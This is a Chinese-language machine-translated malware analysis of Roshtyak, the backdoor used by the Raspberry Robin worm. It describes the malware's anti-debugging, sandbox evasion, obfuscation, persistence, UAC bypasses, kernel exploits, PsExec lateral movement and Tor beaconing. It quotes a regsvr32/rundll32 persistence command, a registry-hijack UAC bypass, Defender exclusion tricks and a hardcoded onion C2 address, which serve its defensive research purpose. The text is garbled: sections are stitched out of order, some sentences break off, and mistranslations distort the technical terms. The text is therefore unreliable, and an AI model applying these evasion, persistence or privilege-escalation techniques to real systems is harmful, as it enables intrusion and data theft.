Roshtyak使用RtlAddVectoredExceptionHandler設置了一個向量異常處理程序。此處理程序包含針對所選異常代碼的自定義處理程序。頂級異常處理程序也使用SetUnhandledExceptionFilter註冊。不應該在目標執行環境中調用此處理程序(任何有意觸發的異常都不應該通過向量異常處理程序)。因此,這個頂級處理程序只包含一個對TerminateProcess的調用。有趣的是,Roshtyak還使用ZwSetInformationProcess使用ProcessDefaultHardErrorMode類來設置SEM_FAILCRITICALERRORS。這確保了即使異常以某種方式被傳遞到默認異常處理程序,Windows也不會顯示標準漏洞消息框,這可能會提醒受害者發生了可疑的事情。

當一切都設置好之後,Roshtyak開始生成異常。第一個異常是由一條popf指令生成的,後面直接跟著一條cpuid指令(如下所示)。 popf指令彈出的值被精心設計為設置漏洞標誌,而該標誌又會引發一個單步異常。在物理設備上,異常會在cpuid指令之後立即觸發。然後,自定義向量異常處理程序將接管並將指令指針從標記為無效指令的C7 B2 操作碼中移走。但是,在許多管理程序下,不會引發單步異常。這是因為cpuid 指令強制VM 退出,這可能會延遲跟踪標誌的效果。如果是這種情況,處理器將在嘗試執行無效操作碼時引發非法指令異常。如果向量異常處理程序遇到這樣的異常,它就知道它是在管理程序下運行的。 Palo Alto Networks 的一篇文章描述了這種技巧的一種變體。

9.png

基於異常的檢查使用popf 和cpuid 來檢測管理程序

另一個異常是使用雙字節int 3指令(CD 03)生成的。這條指令後面是垃圾操作碼。這裡的int 3 引發一個斷點異常,該異常由向量異常處理程序處理。向量異常處理程序實際上並沒有做任何處理異常的事情,這很有趣。這是因為默認情況下,Windows 在處理兩個字節的int 3 指令時,會將指令指針留在兩個指令字節之間,指向03 字節。當從這個03 字節反彙編時,垃圾操作碼突然開始變得有意義。我們認為這是對一些急於求成的調試器的檢查,這些調試器可能會將指令指針“修復”到03字節之後的指針。

此外,向量異常處理程序檢查線程的CONTEXT 並確保寄存器Dr0 到Dr3 為空。如果不是,則使用硬件斷點調試進程。雖然這種檢查在惡意軟件中比較常見,但CONTEXT 通常是通過調用GetThreadContext 之類的函數來獲取的。此時,惡意軟件開發者利用CONTEXT 作為參數傳遞給異常處理程序,因此他們不需要調用任何額外的API 函數。

大型可執行映射下一次檢查很有趣,主要是因為我們不確定它真正應該檢查什麼。首先,Roshtyak創建一個大小為0x386F000的大型PAGE_EXECUTE_READWRITE映射。然後它將這個映射映射到自己的地址空間9次。在這之後,它將映射設置為0x42 (inc edx的操作碼),除了最後六個字節,它們被四個inc ecx指令和jmp dword ptr [ecx]填充。接下來,它將映射視圖的9個基址放入一個數組中,後面是單個ret指令的地址。最後,它將ecx指向這個數組並調用第一個映射視圖,這將導致依次調用所有映射視圖,直到最後的ret指令。返回後,Roshtyak 驗證edx 恰好增加了0x1FBE6FCA 倍(9 * (0x386F000 - 6))。

10.png

大映射段的結尾,jmp dword ptr [ecx] 指令應該跳轉到下一個映射視圖的開頭

我們最好的猜測是,這是另一個反模擬器檢查。例如,在某些模擬器中,映射段可能沒有完全實現,因此寫入映射視圖的一個實例的指令可能不會傳播到其他八個實例。另一種理論是,這種檢查可以用於請求模擬器可能無法提供的大量內存。畢竟,所有視圖的總和幾乎是標準32位用戶模式地址空間的一半。

中止檢測過程這個技巧濫用NtCreateThreadEx 中未記錄的線程創建標誌來檢測Roshtyak 的主進程何時被外部掛起(這可能意味著附加了調試器)。這個標誌實際上允許線程即使在PsSuspendProcess被調用時也能繼續運行。這與另一個濫用線程掛起計數器是帶符號的8位值這一事實的技巧相結合,這意味著它的最大值為127。 Roshtyak生成兩個線程,其中一個線程持續掛起另一個線程,直到達到掛起計數器的限制。在此之後,第一個線程會定期掛起另一個線程,並檢查對NtSuspendThread 的調用是否繼續失敗並顯示STATUS_SUSPEND_COUNT_EXCEEDED。如果沒有,則該線程必須被外部掛起並恢復,這將使掛起計數器保持在126,因此對NtSuspendThread 的下一次調用將成功。如果沒有得到這個漏洞代碼,那麼Roshtyak就會停止使用TerminateProcess。 Secret Club在一篇博文中詳細描述了這一技巧。我們相信這就是Roshtyak的作者得到這個技巧的原因。值得一提的是,Roshtyak只在Windows版本18323 (19H1)及以後的版本中使用了這種技術,因為在之前的版本中沒有實現無文檔記錄的線程創建標誌。

間接註冊表寫入Roshtyak 執行許多可疑的註冊表操作,例如,設置RunOnce 項以實現持久性。由於可能會監控對此類密鑰的修改,因此Roshtyak 試圖繞過監控。它首先生成一個隨機註冊表項名稱,並使用ZwRenameKey 將RunOnce 項臨時重命名為隨機名稱。重命名後,Roshtyak 會在臨時密鑰中添加一個新的持久性條目,然後最終將其重命名為RunOnce。這種寫入註冊表的方法很容易被檢測到,但它可能會繞過一些簡單的基於掛鉤的監控方法。

同樣,Roshtyak 使用多種方法來釋放文件。除了對NtDeleteFile 的明顯調用之外,Roshtyak 還可以通過在對ZwSetInformationFile 的調用中設置FileDispositionInformation 或FileRenameInformation 來有效地釋放文件。然而,與註冊表修改方法不同的是,這似乎不是為了逃避檢測而實現的。相反,如果對NtDelete文件的初始調用失敗,Roshtyak將嘗試這些替代方法。

檢查VBAWarnings

VBAWarnings 註冊表值控制用戶打開包含嵌入VBA 宏的文檔時Microsoft Office 的行為方式。如果此值為1,則意味著“啟用所有宏”,則默認執行宏,甚至不需要任何用戶交互。這是沙盒的常見設置,旨在自動觸發惡意文檔。另一方面,此設置對於普通用戶來說並不常見,他們通常不會隨意更改設置,使自己更容易受到攻擊(至少他們中的大多數人不會)。因此,Roshtyak 使用此檢查來區分沙箱和普通用戶,如果VBAWarnings 的值為1,則拒絕進一步運行。有趣的是,這意味著無論出於何種原因以這種方式降低安全性的用戶都不會受Roshtyak 的影響。

命令行清除Roshtyak 的核心是用非常可疑的命令行執行的,例如RUNDLL32.EXE SHELL32.DLL,ShellExec_RunDLL REGSVR32.EXE -U /s 'C:\Users\\AppData\Local\Temp\dpcw.etl.'。這些命令行看起來不是特別合法,因此Roshtyak 試圖在執行期間隱藏它們。它通過清除從各種來源收集的命令行信息來做到這一點。它首先調用GetCommandLineA 和GetCommandLineW 並清除兩個返回的字符串。然後它會嘗試清除PEB-ProcessParameters-CommandLine 指向的字符串(即使它指向一個已經被清除的字符串)。由於Roshtyak 經常在WoW64 下運行,它還調用NtWow64QueryInformationProcess64 來獲取指向PEB64 的指針,以清除通過遍歷這個“第二個”PEB 獲得的ProcessParameters-CommandLine。雖然清除命令行可能是為了讓Roshtyak 看起來更合法,但完全清除任何命令行也是極不尋常的。 Red Canary 研究人員在他們的博客文章中註意到了這一點,他們提出了一種基於這些可疑的空命令行的檢測方法。

11.png

Roshtyak 的核心流程,如Process Explorer 所示,注意可疑的空命令行。

附加技巧除了到目前為止描述的技巧之外,Roshtyak 還使用了許多其他惡意軟件中常見的不太複雜的技巧。這些包括:

使用ThreadHideFromDebugger 隱藏線程,並使用NtQueryInformationThread 驗證線程是否真的被隱藏了;

在ntdll 中修補DbgBreakPoint;

使用GetLastInputInfo 檢測用戶活動情況;

檢查來自PEB 的字段(BeingDebugged、NtGlobalFlag);

檢查來自KUSER_SHARED_DATA 的字段(KdDebuggerEnabled、ActiveProcessorCount、NumberOfPhysicalPages);

檢查所有正在運行的進程的名稱(一些通過哈希比較,一些通過模式比較,一些通過字符分佈比較);

哈希所有加載模塊的名稱,並根據硬編碼的黑名單檢查它們;

驗證主進程名不需要太長時間,而且與沙盒中使用的已知名稱不匹配;

使用cpuid指令檢查hypervisor信息和處理器標誌;

使用沒有紀錄的COM 接口;

根據硬編碼的黑名單檢查用戶名和計算機名;

正在檢查是否存在已知的沙盒誘餌文件;

根據硬編碼的黑名單檢查自己的適配器的MAC 地址;

檢查ARP 表中的MAC 地址(使用GetBestRoute 填充它並使用GetIpNetTable 來檢查它);

使用ProcessDebugObjectHandle、ProcessDebugFlags 和ProcessDebugPort 調用ZwQueryInformationProcess;

檢查顯示設備的DeviceId(使用EnumDisplayDevices);

檢查\\.\PhysicalDrive0 的ProductId(使用IOCTL_STORAGE_QUERY_PROPERTY);

檢查虛擬硬盤(使用NtQuerySystemInformation 和SystemVhdBootInformation);

檢查原始SMBIOS 固件表(使用NtQuerySystemInformation 和SystemFirmwareTableInformation);

設置Defender 排除項(針對路徑和進程);

刪除與惡意軟件使用的進程名相關的IFEO註冊表項;

混淆我們展示了許多旨在防止Roshtyak 在不良執行環境中觸發的反分析技巧。就單個技巧來說,都很容易被修復或識別。分析Roshtyak 之所以困難的原因,是所有這些技巧被組合起來了,同時被重度混淆和多層包裝。這使得靜態研究反分析技巧並弄清楚如何通過所有檢查以使Roshtyak 自行解包變得非常困難。此外,即使是主要的有效載荷也收到了相同的混淆,這意味著靜態分析Roshtyak 的核心功能也需要大量的去混淆。

接下來,我們將介紹Roshtyak使用的主要混淆技術。

13.1.png

來自Roshtyak的隨機代碼片段,可以看到,這種混淆使得Hex-Rays反編譯器的原始輸出實際上難以理解

controlflowflatterning(控制流平坦化)控制流扁平化是Roshtyak 採用的最引人注目的混淆技巧之一。它以一種不同尋常的方式實現,使Roshtyak 函數的控制流圖具有獨特的外觀(見下文)。控制流扁平化的目標是混淆各個代碼塊之間的控制流關係。

控制流由一個32 位控制變量引導,該變量跟踪執行狀態,識別要執行的代碼塊。這個控制變量在每個函數開始時被初始化以引用起始代碼塊(通常是一個nop 塊)。然後在每個代碼塊的末尾修改控制變量,以識別應該執行的下一個代碼塊。修改是使用一些算術指令執行的,例如add、sub 或xor。

有一個調度程序使用控制變量將執行路由到正確的代碼塊中。這個調度程序由if/else塊組成,這些塊被循環鏈接到一個循環中。每個調度程序塊接受控制變量,並使用算術指令屏蔽它,以檢查是否應該將執行路由到它所保護的代碼塊中。有趣的是,從代碼塊到調度程序循環有多個入口點,使控制流圖在IDA 中呈現鋸齒狀外觀。

使用包含imul 指令的特殊代碼塊執行分支。它依賴於前一個塊來計算分支標誌。使用imul 指令將該分支標誌與一個隨機常數相乘,並將結果與新的控制變量相加、替換或異或。這意味著在分支塊之後,控制變量將識別兩個可能的後續代碼塊中的一個,這取決於為分支標誌計算的值。

14.1.png

用控制流扁平化混淆的函數的控制流圖

函數激活項Roshtyak 的混淆函數需要一個額外的參數,我們稱之為激活密鑰。此激活密鑰用於解密所有局部常量、字符串、變量等。如果使用漏洞的激活密鑰調用函數,則解密會產生垃圾明文,這很可能導致Roshtyak陷入控制流分配器內部的無限循環中。這是因為調度程序使用的所有常量(控制變量的初始值、調度程序守衛使用的掩碼以及用於跳轉到下一個代碼塊的常量)都使用激活密鑰加密。如果沒有正確的激活密鑰,調度程序根本不知道如何調度。

如果不知道正確的激活密鑰,對函數進行逆向工程實際上是不可能的。所有字符串、緩衝區和局部變量/常量都保持加密狀態,所有交叉引用都丟失了,更糟糕的是,沒有控制流信息。只剩下單獨的代碼塊,沒有辦法知道它們之間是如何關聯的。

每個混淆函數都必須從某個地方調用,這意味著調用該函數的代碼必須提供正確的激活密鑰。但是,獲取激活密鑰並不是那麼容易。首先,調用目標也使用激活密鑰加密,因此如果不知道正確的激活密鑰,就不可能找到調用函數的位置。其次,即使提供的激活密鑰也被調用函數的激活密鑰加密。並且該激活密鑰被下一個調用函數的激活密鑰加密。以此類推,一直到入口點函數。

這給去混淆帶來了很多麻煩。入口點函數的激活密鑰必須以明文形式存在。使用這個激活密鑰,可以解密直接從這個入口點函數調用的函數的調用目標和激活密鑰。遞歸地應用此方法使我們能夠重構完整的調用圖以及所有函數的激活項。唯一的例外是從未調用過且由編譯器保留的函數。這些函數可能仍然是個謎,但由於示例沒有使用它們,因此從惡意軟件分析師的角度來看,它們並不那麼重要。

變量隱藏一些變量不是以明文形式存儲的,而是使用一個或多個算術指令隱藏起來的。這意味著如果Roshtyak 沒有主動使用變量,它將以混淆的形式保留該變量的值。每當Roshtyak需要使用該變量時,它必須在使用它之前先解開它的掩碼。相反,在Roshtyak使用該變量後,它會將其轉換回掩碼形式。這種隱藏方法使調試期間跟踪變量的工作變得複雜,並使搜索內存中已知變量值變得更加困難。

循環變換Roshtyak 在一些循環條件下很有創意。它沒有像for (int i=0; i 1690; i++) 那樣編寫循環,而是將循環轉換為for (int32_t i=0x06AB91EE;我!=0 x70826068;i=i * -0x509FFFF +0xEC891BB1)。雖然兩個循環都將執行1690 次,但第二個循環要難得多。乍一看,不清楚第二個循環執行了多少次迭代,甚至不知道它是否會終止。在第二種情況下,在調試期間跟踪循環迭代的次數也要困難得多。

包裝如上所述,Roshtyak 的核心隱藏在多層包裝之後。雖然所有的層看起來都像是最初編譯到PE文件中,但除了嚴格必要的數據(入口點、節、導入和重定位)之外的所有數據都被剝離了。此外,Roshtyak 支持兩種自定義格式來存儲剝離的PE 文件信息,各層輪流使用對應的格式。此外,段自定義格式是加密的,有時使用基於各種反分析檢查結果生成的密鑰。

這使得將Roshtyak 的層靜態解壓到一個獨立的PE 文件中變得很困難。首先,必須對自定義格式進行逆向工程,並弄清楚如何解密加密段。然後,必須重構PE 標頭、段、段標題和導入表(重定位表不需要重構,因為重定位可以被關閉)。雖然這一切都是完全可行的,並且可以使用像LIEF 這樣的庫來簡化,但這可能需要大量的時間。除此之外,這些層有時是相互依賴的,在內存中動態分析Roshtyak 可能更容易。

15.1.png

其中一個自定義PE 類文件格式的段標題:raw_size 對應於SizeOfRawData,raw_size + virtual_padding_size 實際上是VirtualSize。沒有VirtualAddress 或PointerToRawData 等效項,因為這些段是按順序加載的。

其他混淆技巧除了上述技巧之外,Roshtyak 還使用其他混淆技巧,包括:

垃圾指令插入;

導入哈希;

頻繁清除內存;

混合佈爾算術混淆;

冗餘線程;

重多態性;

核心功能既然我們已經描述了Roshtyak 如何保護自己,那麼看看它的實際作用可能會很有趣。 Roshtyak 的DLL 相對較大,超過1 兆字節,但是一旦消除了所有的混淆,它的功能就非常簡單。它的主要目的是下載更多的有效載荷來執行。此外,它還執行通常的惡意軟件操作,即建立持久性、提升權限、橫向移動和洩露有關受害者的信息。

持久性攻擊Roshtyak 首先在%SystemRoot%\Temp 中生成一個隨機文件名,並將其DLL 映像移動到那裡。生成的文件名由2到8個隨機小寫字符與從硬編碼列表中選擇的隨機擴展名組成。用於生成此文件名的PRNG的捲序列號為C:\。我們分析的示例是硬編碼的7個擴展名(.log、tmp、loc、dmp、out、ttf 和.etl)。我們觀察到其他示例中使用了其他擴展,這表明這個列表是動態的。 Roshtyak 也很有可能會使用隨機生成的擴展。一旦完全構建,到Roshtyak DLL的完整路徑可能看起來如C:\Windows\Temp\wcdp.etl這樣。

將DLL 映像移動到新的文件系統路徑後,Roshtyak 將其修改後的時間戳記到當前系統時間。然後它繼續設置RunOnce(Ex) 註冊表項,以實際建立持久性。註冊表項是使用前面描述的間接註冊表寫入技巧創建的。插入密鑰的命令可能如下所示:

RUNDLL32.EXE SHELL32.DLL,ShellExec_RunDLL REGSVR32.EXE -U /s 'C:\Windows\Temp\wcdp.etl.'

這裡有幾點需要注意。首先,regsvr32 不關心它加載的DLL 的擴展名,從而允許Roshtyak 隱藏在.log 等看似無害的擴展名下。其次,/s 參數將regsvr32 置於靜默模式。如果沒有它,regsvr32將抱怨找不到名為DllUnregisterServer的導出。最後,請注意路徑末尾的句號字符。該句號在路徑規範化期間被釋放,因此它實際上對命令沒有影響。所以,我們不確定開發者的初衷是什麼。它看起來像是被設計用來欺騙一些反惡意軟件,使其無法將持久性條目與文件系統上的有效負載連接起來。

默認情況下,Roshtyak 使用HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce 項進行持久化。但是,在某些情況下(例如,當它通過檢查名為avp.exe 的進程檢測到Kaspersky 正在運行時)將使用密鑰HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx。 RunOnceEx 項能夠加載DLL,因此在使用該項時,Roshtyak 直接指定shell32.dll,省略了rundll32的使用。

16.1.png

Roshtyak 建立的RunOnceEx 持久性條目

權限提升Roshtyak 使用UAC 繞過和常規EoP 漏洞來嘗試提升其權限,與許多其他惡意軟件只是盲目地執行開發者可以找到的任何UAC 繞過/利用的惡意軟件不同,Roshtyak 努力確定權限提升方法是否有可能成功。由於不必要地使用了不兼容的繞過/漏洞,這可能是為了降低檢測的機會。對於UAC 繞過,這涉及檢查ConsentPromptBehaviorAdmin 和ConsentPromptBehaviorUser 註冊表項。對於EoP 漏洞利用,這是關於檢查Windows 內部版本號和補丁級別。

除了檢查ConsentPromptBehavior(Admin|User) 項之外,Roshtyak 還執行其他健全性檢查以確保它應該繼續繞過UAC。即,它使用SID S-1-5-32-544 (DOMAIN_ALIAS_RID_ADMINS) 的CheckTokenMembership 檢查管理員權限。它還檢查KUSER_SHARED_DATA.SharedDataFlags 中DbgElevationEnabled 標誌的值。這是一個未記錄的標誌,在啟用UAC 時設置。最後,還有針對BitDefender(由模塊atcuf32.dll 檢測)、卡巴斯基(進程avp.exe)和我們自己的Avast/AVG(模塊aswhook.dll)的殺毒軟件檢查。如果檢測到這些殺毒軟件,Roshtyak 會避開選定的UAC 繞過技巧,大概是那些可能導致被檢測到。

至於實際的UAC旁路,主要有兩種實現方法。第一個是UACMe 中恰當命名的ucmDccwCOM 方法的實現。有趣的是,當執行此方法時,Roshtyak 通過覆蓋對應於主可執行模塊的_LDR_MODULE 結構中的FullDllName 和BaseDllName 臨時將其進程偽裝成explorer.exe。此方法啟動的有效負載是一個隨機命名的LNK 文件,使用IShellLink COM 接口放入%TEMP%。此LNK 文件旨在通過LOLBins(例如advpack 或register-cimprovider)重新啟動Roshtyak DLL。

第二種方法更像是一個UAC 繞過框架而不是特定的繞過方法,因為多個UAC 繞過方法遵循相同的簡單模式:首先註冊一些特定的shell 打開命令,然後執行自動提升的Windows 二進製文件(內部觸發shell 打開命令)。例如,可以通過向HKCU\Software\Classes\ms-settings\shell\open\command 寫入有效負載命令,然後從%windir%\system32 執行fodhelper.exe 來完成UAC 繞過。基本上,同樣的繞過可以通過用其他對替換ms-settings/fodhelper.exe來實現,例如mscfile/eventvwr.exe。 Roshtyak使用以下6對來繞過UAC:

17.png

現在讓我們看看Roshtyak 用於提升權限的內核漏洞(CVE-2020-1054 和CVE-2021-1732)。與Roshtyak 中的常見情況一樣,這些漏洞被加密存儲,並且僅在需要時才解密。有趣的是,一旦解密,漏洞利用結果是具有完全有效標頭的常規PE 文件,與Roshtyak 中的其他層不同,它們要么以shellcode 形式存在,要么以自定義剝離的PE 格式存儲。此外,這些漏洞不像Roshtyak的其他漏洞那樣容易混淆,所以它們的代碼可以立即反編譯,而且只使用了一些基本的字符串加密。我們不知道為什麼攻擊者讓這些漏洞如此暴露,但這可能是由於位數的不同。雖然Roshtyak 本身是x86 代碼(大段時間在WoW64 下運行),但漏洞利用是x64,考慮到它們利用64 位代碼中的漏洞,這是有道理的。可能Roshtyak 的開發者使用的混淆工具是為x86 設計的,不能移植到x64。

18.png

Roshtyak利用CVE-2020-1054的代碼片段,掃描IsMenu找到HMValidateHandle的偏移量

為了執行漏洞,Roshtyak 生成(AMD64 版本)winver.exe 並使用KernelCallbackTable 注入方法獲取漏洞代碼以在其中運行。 Roshtyak的這種注入方法的實現基本上與公共PoC相匹配,最大的區別是由於需要跨子系統注入而使用了略微不同的API函數(例如NtWow64QueryInformationProcess64而不是NtQueryInformationProcess或NtWow64ReadVirtualMemory64而不是ReadProcessMemory)。注入winver.exe的代碼不是利用PE本身,而是稍微混淆的shellcode,旨在將漏洞利用PE 加載到內存中。

內核漏洞針對某些未打補丁的Windows 版本。具體來說,CVE-2020-1054 僅用於版本號不高於24552 的Windows 7 系統。另一方面,CVE-2021-1732 的漏洞利用在Windows 10 上運行,目標內部版本號範圍為16353 到19042。在利用CVE-2021-1732之前,Roshtyak還會掃描已安裝的更新包,以查看是否安裝了針對該漏洞的補丁。它通過枚舉HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Component Based services \Packages下面的註冊表項,並檢查KB4601319(或更高)的包是否存在。

橫向運動在橫向移動方面,Roshtyak 只使用久經考驗的PsExec 工具。在執行PsExec 之前,Roshtyak 通過檢查與“眾所周知的”WinAccountDomainAdminsSid 組匹配的SID 來確保運行它是有意義的。如果未檢測到域管理員權限,Roshtyak 將完全跳過其橫向移動階段。

Roshtyak 試圖通過設置Defender 排除項來繞過檢測,因為PsExec 通常被標記為黑客工具(有充分的理由)。它為%TEMP% 設置一個路徑排除(它將釋放PsExec 和其他用於橫向移動的文件)。稍後,它會為執行PsExec 的確切路徑設置一個進程排除。

雖然我們希望PsExec被捆綁到Roshtyak中,但結果是Roshtyak從https://download.sysinternals[.]com/files/PSTools.zip按需下載PsExec。下載的zip歸檔文件被放入%TEMP%中,後綴名為.zip。然後使用Windows Shell COM接口(IShellDispatch)將PsExec從這個歸檔文件解壓縮到%TEMP%中隨機命名的.exe文件中。

PsExec 執行的有效負載是一個自解壓包,由名為IExpress 的工具創建。這是一個古老的安裝程序,它是Windows 的一部分,這可能就是使用它的原因,因為Roshtyak 可以依賴它已經在受害者設備上。安裝程序生成由使用自解壓指令(SED) 語法的文本文件配置。

19.png

Roshtyak 的IExpress 配置模板

Roshtyak 使用具有三個佔位符(%1、%2 和%3)的SED 配置模板,它在運行時將其替換為實際值。如上所示,配置模板是混合大小寫編寫的,通常在Raspberry Robin 中經常使用。準備好SED配置後,它就會被寫入%TEMP% 中隨機命名的.txt 文件。然後,調用iexpress 以使用C:\Windows\iexpress.exe /n /q

生成有效負載後,Roshtyak就開始實際運行PsExec。 Roshtyak 可以通過兩種方式執行PsExec。第一個使用命令

分析受害者USB 蠕蟲往往有自己的活動。由於它們的蠕蟲行為通常是完全自動化的,因此最初部署蠕蟲的攻擊者不一定完全控制它的傳播位置。這就是為什麼攻擊者將蠕蟲信標返回到他們的CC 服務器很重要的原因。有了信標機制,攻擊者就可以獲知他們控制的所有機器的信息,並可以利用這些信息對蠕蟲進行管理。

發出的信標郵件通常包含有關受感染計算機的一些信息。這有助於有經濟動機的攻擊者決定如何利用攻擊獲利。 Roshtyak 也不例外,它收集了有關每個受感染受害者的大量信息。 Roshtyak 將所有收集到的信息連接成一個大字符串,使用分號作為分隔符。這個大字符串然後被轉移到Roshtyak的CC服務器上。下面按順序列出了過濾出來的信息。

外部IP 地址(在Tor 連接檢查期間獲得);

一個硬編碼到Roshtyak 代碼中的字符串,例如AFF123(我們無法確定這背後的含義,但它看起來像一個附屬ID);

DLL 的PE 標頭的16 位哈希(一些字段清零)與其TimeDateStamp 的低16 位異或。 TimeDateStamp 似乎是經過特殊設計的,因此異或會產生一個已知值。這可以作為篡改檢查或水印的功能;

系統驅動器上System Volume Information 文件夾的創建時間戳;

系統驅動器的捲序列號;

處理器計數(GetActiveProcessorCount);

IsWow64Process (_PROCESS_EXTENDED_BASIC_INFORMATION.Flags 2);

Windows 版本(KUSER_SHARED_DATA.Nt(Major|Minor)Version);

Windows 產品類型(KUSER_SHARED_DATA.NtProductType);

Windows 構建號(PEB.OSBuildNumber);

本地管理權限(ZwQueryInformationToken(TokenGroups)/CheckTokenMembership,檢查DOMAIN_ALIAS_RID_ADMINS);

域管理權限(檢查WinAccountDomainAdminsSid/WinAccountDomainUsersSid);

系統時間(KUSER_SHARED_DATA.SystemTime);

時區(KUSER_SHARED_DATA.TimeZoneBias);

系統區域設置(NtQueryDefaultLocale(0));

用戶區域設置(NtQueryDefaultLocale(1));

環境變量(username, computername, userdomain, userdnsdomain和logonserver);

Java 版本(GetFileVersionInfo('javaw.exe') - VerQueryValue);

處理器信息(獲取處理器品牌字符串的cpuid);

主可執行模塊的映像路徑(NtQueryVirtualMemory(MemorySectionName));

主物理驅動器的產品ID 和序列號(DeviceIoControl(IOCTL_STORAGE_QUERY_PROPERTY, StorageDeviceProperty));

默認網關的MAC 地址(GetBestRoute - GetIpNetTable);

所有網絡適配器的MAC 地址(GetAdaptersInfo);

安裝的防病毒軟件(root\securitycenter2 - SELECT * FROM AntiVirusProduct);

顯示設備信息(DeviceId、DeviceString、dmPelsWidth、dmPelsHeight、dmDisplayFrequency)(EnumDisplayDevices - EnumDisplaySettings);

活動進程(NtQuerySystemInformation(SystemProcessInformation));

以base64 編碼的屏幕截圖(gdi32 方法);

信標收集過程完成後,Roshtyak將受害者的資料發送到CC服務器。配置文件通過Tor 網絡發送,使用Roshtyak 注入新生成的進程的自定義通信模塊。 CC 服務器處理洩露的配置文件,並可能使用shellcode 有效負載進行響應,以供核心模塊執行。

現在讓我們仔細看看這整個過程。值得一提的是,在生成任何惡意流量之前,Roshtyak 首先會執行Tor 連接檢查。這是通過以隨機順序聯繫28 個合法且知名的.onion 地址並檢查其中至少一個是否響應來完成的。如果他們都沒有回應,Roshtyak甚至不會嘗試聯繫CC,因為它很有可能無法與CC取得聯繫。

至於實際的CC 通信,Roshtyak 包含35 個硬編碼的V2 洋蔥地址(例如ip2djbz3xidmkmkw:53148,請參閱我們的IoC 存儲庫以獲取完整列表)。就像在連接檢查期間一樣,Roshtyak 以隨機順序遍歷它們並嘗試聯繫它們中的每一個,直到其中一個做出響應。請注意,雖然V2 洋蔥地址已被正式棄用,取而代之的是V3 地址,並且Tor 瀏覽器在其最新版本中不再支持它們,但對於Roshtyak的邪惡目的而言,它們的功能似乎仍然足夠。

20.png

Roshtyak 的硬編碼CC 地址

受害者配置文件以URL路徑發送,附加在V2洋蔥地址和/字符之後。由於原始概要文件可能包含禁止在url中使用的字符,因此概要文件被封裝在自定義結構中,並使用Base64進行編碼。自定義結構的第一個0x10字節作為加密密鑰,其餘的結構將被加密。自定義結構還包含受害者概要文件的64位哈希,它可能用作完整性檢查。有趣的是,自定義結構的尾部可能填充了隨機字節。注意,完整的路徑可能非常大,因為它包含一個雙base64編碼的截圖。 Roshtyak的開發者可能意識到URL路徑不適合發送大量數據,並決定將受害者配置文件的長度限制在0x20000字節。如果屏幕截圖使洩露的配置文件大於此限制,則不包括在內。

構建完整的洋蔥URL 後,Roshtyak 繼續啟動其Tor 通信模塊。它首先生成一個虛擬進程來託管comms 模塊。這個虛擬進程是隨機選擇的,可以是dllhost.exe、regsvr32.exe 或rundll32.exe 之一。 comms 模塊使用共享段注入到新生成的進程中,並通過前面描述的shellcode 隱藏技巧進行了混淆。然後通過NtQueueApcThreadEx 執行comms 模塊,使用已經討論過的ntdll gadget技巧。注入的comms 模塊是一個開源Tor 庫的自定義構建,包含在三個額外的保護性shellcode 層中。

核心模塊使用共享段作為IPC 機制與comms 模塊進行通信。兩個模塊同步使用具有相同種子(KUSER_SHARED_DATA.Cookie) 的相同PRNG 來生成相同的段名稱。然後,兩者都將此命名段映射到各自的地址空間,並通過讀取/寫入來相互通信。讀取/寫入該段的數據使用RC4 加密(密鑰也使用同步的PRNG 生成)。

核心模塊和通信模塊之間的通信遵循簡單的請求/響應模式。核心模塊將加密的洋蔥URL(包括要洩露的URL 路徑)寫入共享段。 comms 模塊然後解密URL 並通過Tor 向它發出HTTP 請求。核心模塊等待comms 模塊將加密的HTTP 響應寫回共享段。一旦它在那裡,核心模塊將其解密並從自定義格式解包,包括再次解密併計算哈希以檢查有效負載的完整性。解密後的有效載荷可能包含一個供核心模塊執行的shellcode。如果shellcode 存在,核心模塊分配一大塊內存,

惡意軟件開發者通常會使用各種技巧使分析工作變得更加困難。這些技巧包括使逆向工程複雜化的混淆技巧、逃避沙箱的反沙箱技巧、繞過靜態檢測的打包技巧等。多年來,各種惡意軟件在野外使用的無數欺騙手段都記錄了這一點。然而,儘管有許多可用的技巧,但在典型的惡意軟件中很少實現這些技巧。

本文就以Roshtyak 後門為例介紹惡意軟件的自保護、殺軟逃逸技巧。 Raspberry Robin於2021年9月首次被發現,通過受感染的USB設備傳播。本文的主題是一個我們稱為Roshtyak 的後門,它不是典型的惡意軟件。 Roshtyak 反分析設計很多。有些是眾所周知的,有些是我們從未見過的。從技巧角度來看,Roshtyak 的自我保護非常有趣。 Roshtyak 屬於我們見過的反分析最成功的的惡意軟件之一。我們希望通過發布我們對惡意軟件及其保護技巧的研究和分析,幫助其他研究人員識別和應對類似的技巧,並強化他們的分析環境,使他們對所描述的繞過技巧加強防護。

Roshtyak 是Raspberry Robin 使用的DLL 後門,一種通過受感染的可移動驅動器傳播的蠕蟲,Raspberry Robin今年非常流行。

Red Canary 的研究人員於2022 年5 月發布了對Raspberry Robin 的首次分析。 6 月,賽門鐵克發布了一份報告,描述了一次挖礦/剪貼板劫持操作,據報導,這讓攻擊者至少賺了170萬美元。賽門鐵克沒有將惡意操作與Raspberry Robin 聯繫起來。儘管如此,根據我們的分析,其幕後組織是Raspberry Robin。該評估基於我們分析中觀察到的CC 重疊、以及很多與其他惡意軟件相似性。 Cybereason、微軟和思科在2022 年7 月/8 月發布了進一步的報告。微軟報告說,Raspberry Robin 感染導致了DEV-0243(又名Evil Corp)勒索行為。雖然我們無法確認此連接。儘管如此,我們仍然有理由相信挖礦軟件有效載荷並不是Raspberry Robin 感染被貨幣化的唯一方式。最近的其他報導也暗示了Raspberry Robin 和Evil Corp 之間可能存在的聯繫。

1.png

儘管發表瞭如此多的報導,但關於Raspberry Robin 仍有許多未知數。惡意軟件背後的最終目標是什麼?誰負責運營Raspberry Robin ?它是如何變得如此流行的?不幸的是,我們沒有所有這些問題的答案。但是,我們可以回答我們多次看到的一個重要問題:在高度混淆的DLL(或我們稱之為Roshtyak)中隱藏了哪些功能?為了回答這個問題,我們對Roshtyak 示例進行了完全逆向工程。

Roshtyak介紹Roshtyak 包含多達14 層保護層,每層都經過高度混淆並服務於特定目的。一些工件表明這些層最初是PE 文件,但被轉換為只有以前的層知道如何解密和加載的自定義加密結構。許多反調試器、反沙盒、反虛擬機和反仿真器檢查遍布各個層。如果其中一項檢查成功檢測到分析環境,那麼將採取四個操作中的一個。

惡意軟件調用自己的TerminateProcess,以避免顯示任何進一步的惡意行為,並保持後續層的加密。

